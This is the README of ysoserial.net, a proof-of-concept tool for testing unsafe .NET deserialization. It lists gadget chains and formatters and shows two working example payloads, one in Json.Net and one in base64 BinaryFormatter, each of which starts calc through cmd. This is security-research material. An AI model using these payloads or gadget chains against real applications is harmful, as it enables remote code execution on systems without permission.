A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.
Description
ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.
It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.
This project is inspired by Chris Frohoff's ysoserial project
Usage
$ ./ysoserial -h
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
Available formatters:
ActivitySurrogateSelector (ActivitySurrogateSelector gadget by James Forshaw. This gadget ignores the command parameter and executes the constructor of ExploitClass class.)
Formatters:
BinaryFormatter
ObjectStateFormatter
SoapFormatter
LosFormatter
ObjectDataProvider (ObjectDataProvider Gadget by Oleksandr Mirosh and Alvaro Munoz)
Formatters:
Json.Net
FastJson
JavaScriptSerializer
PSObject (PSObject Gadget by Oleksandr Mirosh and Alvaro Munoz. Target must run a system not patched for CVE-2017-8565 (Published: 07/11/2017))
Formatters:
BinaryFormatter
ObjectStateFormatter
SoapFormatter
NetDataContractSerializer
LosFormatter
TypeConfuseDelegate (TypeConfuseDelegate gadget by James Forshaw)
Formatters:
BinaryFormatter
ObjectStateFormatter
NetDataContractSerializer
LosFormatter
WindowsIdentity (WindowsIdentity Gadget by Levi Broderick)
Formatters:
Json.Net
Usage: ysoserial.exe [options]
Options:
-o, --output=VALUE the output format (raw|base64).
-g, --gadget=VALUE the gadget chain.
-f, --formatter=VALUE the formatter.
-c, --command=VALUE the command to be executed.
-t, --test whether to run payload locally. Default: false
-h, --help show this message and exitExamples
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
'$type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
'MethodName':'Start',
'MethodParameters':{
'$type':'System.Collections.ArrayList, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
'$values':['cmd','/ccalc']
},
'ObjectInstance':{'$type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'}
}$ ./ysoserial.exe -f BinaryFormatter -g PSObject -o base64 -c "calc" -t
AAEAAAD/////AQAAAAAAAAAMAgAAAF9TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uLCBWZXJzaW9uPTMuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49MzFiZjM4NTZhZDM2NGUzNQUBAAAAJVN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUFNPYmplY3QBAAAABkNsaVhtbAECAAAABgMAAACJFQ0KPE9ianMgVmVyc2lvbj0iMS4xLjAuMSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vcG93ZXJzaGVsbC8yMDA0LzA0Ij4mI3hEOw0KPE9iaiBSZWZJZD0iMCI+JiN4RDsNCiAgICA8VE4gUmVmSWQ9IjAiPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZSNTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uL1J1bnNwYWNlSW52b2tlNTwvVD4mI3hEOw0KICAgICAgPFQ+TWljcm9zb2Z0Lk1hbmFnZW1lbnQuSW5mcmFzdHJ1Y3R1cmUuQ2ltSW5zdGFuY2UjUnVuc3BhY2VJbnZva2U1PC9UPiYjeEQ7DQogICAgICA8VD5NaWNyb3NvZnQuTWFuYWdlbWVudC5JbmZyYXN0cnVjdHVyZS5DaW1JbnN0YW5jZTwvVD4mI3hEOw0KICAgICAgPFQ+U3lzdGVtLk9iamVjdDwvVD4mI3hEOw0KICAgIDwvVE4+JiN4RDsNCiAgICA8VG9TdHJpbmc+UnVuc3BhY2VJbnZva2U1PC9Ub1N0cmluZz4mI3hEOw0KICAgIDxPYmogUmVmSWQ9IjEiPiYjeEQ7DQogICAgICA8VE5SZWYgUmVmSWQ9IjAiIC8+JiN4RDsNCiAgICAgIDxUb1N0cmluZz5SdW5zcGFjZUludm9rZTU8L1RvU3RyaW5nPiYjeEQ7DQogICAgICA8UHJvcHM+JiN4RDsNCiAgICAgICAgPE5pbCBOPSJQU0NvbXB1dGVyTmFtZSIgLz4mI3hEOw0KCQk8T2JqIE49InRlc3QxIiBSZWZJZCA9IjIwIiA+ICYjeEQ7DQogICAgICAgICAgPFROIFJlZklkPSIxIiA+ICYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uV2luZG93cy5NYXJrdXAuWGFtbFJlYWRlcltdLCBQcmVzZW50YXRpb25GcmFtZXdvcmssIFZlcnNpb249NC4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1PC9UPiYjeEQ7DQogICAgICAgICAgICA8VD5TeXN0ZW0uQXJyYXk8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPFMgTj0iSGFzaCIgPiAgDQoJCSZsdDtSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSImZ3Q7DQoJICZsdDtPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgJmd0Ow0KICAgICAmbHQ7T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnMmZ3Q7DQogICAgICAgICZsdDtTeXN0ZW06U3RyaW5nJmd0O2NtZCZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgICAgJmx0O1N5c3RlbTpTdHJpbmcmZ3Q7L2MgImNhbGMiICZsdDsvU3lzdGVtOlN0cmluZyZndDsNCiAgICAgJmx0Oy9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycyZndDsNCiAgICAmbHQ7L09iamVjdERhdGFQcm92aWRlciZndDsNCiZsdDsvUmVzb3VyY2VEaWN0aW9uYXJ5Jmd0Ow0KCQkJPC9TPiYjeEQ7DQogICAgICAgICAgPC9MU1Q+JiN4RDsNCiAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgIDwvUHJvcHM+JiN4RDsNCiAgICAgIDxNUz4mI3hEOw0KICAgICAgICA8T2JqIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIj4gJiN4RDsNCiAgICAgICAgICA8VE4gUmVmSWQ9IjEiID4gJiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5Db2xsZWN0aW9ucy5BcnJheUxpc3Q8L1Q+JiN4RDsNCiAgICAgICAgICAgIDxUPlN5c3RlbS5PYmplY3Q8L1Q+JiN4RDsNCiAgICAgICAgICA8L1ROPiYjeEQ7DQogICAgICAgICAgPExTVD4mI3hEOw0KICAgICAgICAgICAgPE9iaiBSZWZJZD0iMyI+ICYjeEQ7DQogICAgICAgICAgICAgIDxNUz4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49IkNsYXNzTmFtZSI+UnVuc3BhY2VJbnZva2U1PC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPFMgTj0iTmFtZXNwYWNlIj5TeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uPC9TPiYjeEQ7DQogICAgICAgICAgICAgICAgPE5pbCBOPSJTZXJ2ZXJOYW1lIiAvPiYjeEQ7DQogICAgICAgICAgICAgICAgPEkzMiBOPSJIYXNoIj40NjA5MjkxOTI8L0kzMj4mI3hEOw0KICAgICAgICAgICAgICAgIDxTIE49Ik1pWG1sIj4gJmx0O0NMQVNTIE5BTUU9IlJ1bnNwYWNlSW52b2tlNSIgJmd0OyZsdDtQUk9QRVJUWSBOQU1FPSJ0ZXN0MSIgVFlQRSA9InN0cmluZyIgJmd0OyZsdDsvUFJPUEVSVFkmZ3Q7Jmx0Oy9DTEFTUyZndDs8L1M+JiN4RDsNCiAgICAgICAgICAgICAgPC9NUz4mI3hEOw0KICAgICAgICAgICAgPC9PYmo+JiN4RDsNCiAgICAgICAgICA8L0xTVD4mI3hEOw0KICAgICAgICA8L09iaj4mI3hEOw0KICAgICAgPC9NUz4mI3hEOw0KICAgIDwvT2JqPiYjeEQ7DQogICAgPE1TPiYjeEQ7DQogICAgICA8UmVmIE49Il9fQ2xhc3NNZXRhZGF0YSIgUmVmSWQgPSIyIiAvPiYjeEQ7DQogICAgPC9NUz4mI3hEOw0KICA8L09iaj4mI3hEOw0KPC9PYmpzPgs=Contributing
- Fork it
- Create your feature branch (
git checkout -b my-new-feature) - Commit your changes (
git commit -am 'Add some feature') - Push to the branch (
git push origin my-new-feature) - Create new Pull Request
Additional Reading
- Attacking .NET serialization
- Friday the 13th: JSON Attacks - Slides
- Friday the 13th: JSON Attacks - Whitepaper
- Friday the 13th: JSON Attacks - Video(demos)
- Are you my Type?
- Exploiting .NET Managed DCOM